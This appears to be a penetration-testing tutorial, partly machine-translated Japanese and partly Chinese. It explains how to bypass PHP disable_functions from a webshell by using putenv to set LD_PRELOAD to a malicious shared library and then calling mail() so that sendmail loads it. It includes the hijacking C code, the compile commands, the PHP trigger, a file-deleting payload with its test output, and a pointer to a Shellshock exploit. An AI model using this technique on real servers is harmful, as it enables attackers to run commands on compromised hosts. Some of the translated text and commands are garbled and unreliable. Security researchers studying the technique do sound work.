0x00 はじめに
ペネトレーションテストを行う際に、比較的セキュリティが優れているサーバーに遭遇した場合、さまざまなルートから PHP タイプの Web シェルを入手すると、実行できないという困惑に直面することがあります。このタイプのサーバーではコマンド実行機能に対する予防措置が講じられており、これによりその後の侵入アクティビティが停止されるためです。著者はここでバイパスのアイデアを共有しており、実際のテストで役立つことを願っています。
0x02 バイパスのアイデア
過酷な環境で PHP によって設定される disable_function は次のとおりです:
- dl
- exec
- system
- passthru
- popen
- proc_open
pcntl_ exec-
shell_exec-
場合設定にいくつかの機能が欠落している場合は、欠落している機能を使用してそれを回避するのが最善です。しかし、運悪くシステムコマンドを直接実行できる機能がすべて無効になってしまう状況に遭遇したら、本当に泣くことはできません。 cmdshell をバウンスしたいのは贅沢になります。もちろん、開発や利用などを考慮すると、一般的な Web 環境を完全に無効にする必要はありません。
多くの情報を検索した結果、この場合、/proc/self/mem 内の got を変更してライブラリ関数呼び出しをハイジャックし、PHP デシリアライゼーションのメモリ破損の脆弱性を悪用するなど、システム コマンドを実行する方法がいくつかあることを著者は発見しました。ただし、これらの方法は使用するのが難しく、まずメモリ オフセット アドレスとその他の知識ポイントを理解し、デバッグ用に同じプラットフォームを構築する必要があります。一般に、セキュリティ設定ではユーザーのファイル権限が厳密に制限され、open_basedir が設定されます。mem などのファイルを読み取る機会はなく、悪用することは困難です。
それでは、他に方法はありますか? putenv および mail 関数は、システムに bash の脆弱性がパッチされていない場合、インターネットで提供される POC (http://www.exploit-db.com/exploits/35146/) を使用することで簡単に回避できます。
この POC の一般的なアイデアは、putenv を使用してカスタム関数を含む環境変数を設定し、メール関数を通じてそれをトリガーすることです。メール関数がトリガーされる理由は、メール関数の実行中に、システムに bash 脆弱性がある場合、PHP がシステム コマンド実行関数を呼び出して実行するためです。悪質なコード。しかし、通常、このような脆弱性に対しては、セキュリティ意識の高いオペレーターがパッチを適用します。
それでは、PHP のメール関数が実行中にデフォルトでシステム プログラム /usr/sbin/sendmail を呼び出し、sendmail プログラムをハイジャックして、それをトリガーすることができれば、目的を達成できます。目標。では、Web シェル層でそれをハイジャックする方法はあるのでしょうか? 環境変数 LD_PRELOAD が簡単で実用的な方法を提供します。
0x03 LD_PRELOAD ハック
UNIX ダイナミック リンク ライブラリの世界では、LD_PRELOAD は、実行中のプログラムのリンクに影響を与える可能性がある興味深い環境変数です。これにより、プログラムの前に最初にロードされるダイナミック リンク ライブラリを定義できます。プログラムが実行されます。この知識についてさらに詳しく知りたい場合は、インターネットで関連記事を検索してください。ここではあまり説明しませんが、使用原理を理解するためにルーチンを見てください。
ルーチン: verifypasswd.c
#!c#include <stdio.h>#include <string.h>int main(int argc, char **argv){char passwd[] = "password";if (argc < 2) { printf("usage: %s <password>/n", argv[0]); return;}if (!strcmp(passwd, argv[1])) { printf("Correct Password!/n"); return;}printf("Invalid Password!/n");}
ログイン後にコピー
プログラムは非常に単純で、受信した文字列が「password」と等しいかどうかを判断することに基づいて、2 つの異なる結果が得られます。 比較には、標準の C 関数 strcmp 関数を使用します。これは、同じ名前の関数を書き換えてみましょう:
#!c#include <stdio.h>#include <string.h>int strcmp(const char *s1, const char *s2){ printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2); return 0;}
ログイン後にコピー
動的共有ライブラリにコンパイルします:
#!shell$ gcc -o verifypasswd.c verifypasswd $ gcc -shared verifypasswd -o hack.so
ログイン後にコピー
LD_PRELOAD を介して設定します。他の人によって使用されます。それを呼び出すプログラムが最初にロードされます:
#!shell$ export LD_PRELOAD="./hack.so"
ログイン後にコピー
指定されたルーチンを実行します:
#!shell$ ./verifypasswd abcd $ Correct Password!
ログイン後にコピー
任意の文字列を入力すると、パスワードが正しいことがわかります。これは、作成したプログラムが最初にロードされることを示しています。ランニング。これは、プログラムが動作中に標準ダイナミック リンク ライブラリ関数を呼び出す場合、LD_PRELOAD を使用して、ハイジャックを達成するために最初に作成したプログラムをロードするように設定する機会があることを意味します。
0x04 実践テスト
次に、sendmail 関数によってどのライブラリ関数が呼び出されるかを見てみましょう。 readelf -Ws /usr/sbin/sendmail コマンドを使用して、sendmail 関数が多くの標準ライブラリ関数を動的に呼び出すことがわかりました。実行プロセス中:
#!shell[[email protected]
ログイン後にコピー
ログイン後にコピー
Desktop]$ readelf -Ws /usr/sbin/sendmail Symbol table '.dynsym' contains 202 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1: 0000000000000238 0 SECTION LOCAL DEFAULT 1 2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND pcre_fullinfo 5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.3 (3) 8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.3 (3) 9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND db_version 13: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 14: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 15: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 16: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 17: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 18: 0000000000000000 0 FUNC GLOBAL DEFAULT UND[email protected]_2.2.5 (2) 19: 0000000000000000 0 FUNC WEAK DEFAULT UND[email protected]_2.2.5 (2) 20: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [email protected]
_2.2.5 (2) ......
从中选取一个合适的库函数后我们就可以进行测试了:
- 编制我们自己的动态链接程序。
- 通过putenv来设置LD_PRELOAD,让我们的程序优先被调用。
- 在webshell上用mail函数发送一封邮件来触发。
我们来测试删除一个新建的文件,这里我们选取geteuid()函数来改造,先在/tmp目录新建一个文件check.txt。
编写hack.c:
#!c#include <stdlib.h>#include <stdio.h>#include <string.h> void payload() { system("rm /tmp/check.txt");} int geteuid() {if (getenv("LD_PRELOAD") == NULL) { return 0; }unsetenv("LD_PRELOAD");payload();}
ログイン後にコピー
当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令。这个测试函数写的很简单,实际应用时可相应调整完善。在攻击机上(注意编译平台应和靶机平台相近,至少不能一个是32位一个是64位)把它编译为一个位置信息无关的动态共享库:
#!shell$ gcc -c -fPIC hack.c -o hack $ gcc -shared hack -o hack.so
ログイン後にコピー
再上传到webshell上,然后写一段简单的php代码:
#!php<?phpputenv("LD_PRELOAD=/var/www/hack.so");mail("[email protected]
ログイン後にコピー
","","","",""); ?>
在浏览器中打开就可以执行它,然后再去检查新建的文件是否还存在,找不到文件则表示系统成功执行了删除命令,也就意味着绕过成功,测试中注意修改为实际路径。 本地测试效果如下:
#!shell[[email protected]
ログイン後にコピー
ログイン後にコピー
Desktop]$ touch /tmp/check.txt [[email protected] bin]$ ./php mail.php sendmail: warning: the Postfix sendmail command has set-uid root file permissions sendmail: warning: or the command is run from a set-uid root process sendmail: warning: the Postfix sendmail command must be installed without set-uid root file permissions sendmail: fatal: setgroups(1, &500): Operation not permitted [ [email protected]
bin]$ cat /tmp/check.txt cat: /tmp/check.txt: No such file or directory
普通用户权限,目标文件被删除。
0x05 小结
以上方法在Linux RHEL6及自带邮件服务+php5.3.X以下平台测试通过,精力有限未继续在其他平台测试,新版本可能进行了相应修复。这种绕过行为其实也很容易防御,禁用相关函数或者限制环境变量的传递,例如安全模式下,这种传递是不会成功的。这个思路不仅仅局限于mail函数,你可以尝试追踪其他函数的调用过程,例如syslog等与系统层有交集的函数是否也有类似调用动态共享库的行为来举一反三。